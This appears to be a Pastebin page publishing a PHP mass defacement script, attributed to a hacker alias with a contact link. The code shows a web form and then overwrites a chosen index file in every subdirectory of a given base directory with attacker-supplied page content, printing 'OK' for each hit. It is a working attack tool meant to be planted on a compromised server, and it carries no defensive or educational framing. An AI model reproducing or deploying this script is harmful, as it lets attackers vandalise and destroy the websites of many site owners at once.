Advertisement
alsakib945

Mass Deface Script

Oct 12th, 2019
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.58 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.  
  5. Mass Defacement Script By 3rr0r Hun73r
  6.  
  7. Contact => http://facebook.com/error.hunter
  8.  
  9. */
  10.  
  11. echo "<title>Mass Defacer - By 3rr0r Hun73r</title>";
  12. echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>";
  13. echo "<body bgcolor='black'><font color='white'><font face='Electrolize'>";
  14. echo "<center><form method='POST'>";
  15. echo "Base Dir : <input type='text' name='base_dir' size='50' value='".getcwd ()."'><br><br>";
  16. echo "File Name : <input type='text' name='file_name' value='index.php'><br><br>";
  17. echo "Your Index : <br><textarea style='width: 685px; height: 330px;' name='index'>//Put Your Index Here</textarea><br>";
  18. echo "<input type='submit' value='Start'></form></center>";
  19.  
  20. if (isset ($_POST['base_dir']))
  21. {
  22. if (!file_exists ($_POST['base_dir']))
  23. die ($_POST['base_dir']." Not Found !<br>");
  24.  
  25. if (!is_dir ($_POST['base_dir']))
  26. die ($_POST['base_dir']." Is Not A Directory !<br>");
  27.  
  28. @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
  29.  
  30. $files = @scandir ($_POST['base_dir']) or die ("oohhh shet<br>");
  31.  
  32. foreach ($files as $file):
  33. if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  34. {
  35. $index = getcwd ()."/".$file."/".$_POST['file_name'];
  36. if (file_put_contents ($index, $_POST['index']))
  37. echo "$index&nbsp&nbsp&nbsp&nbsp<span style='color: green'>OK</span><br>";
  38. }
  39. endforeach;
  40. }
  41.  
  42. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement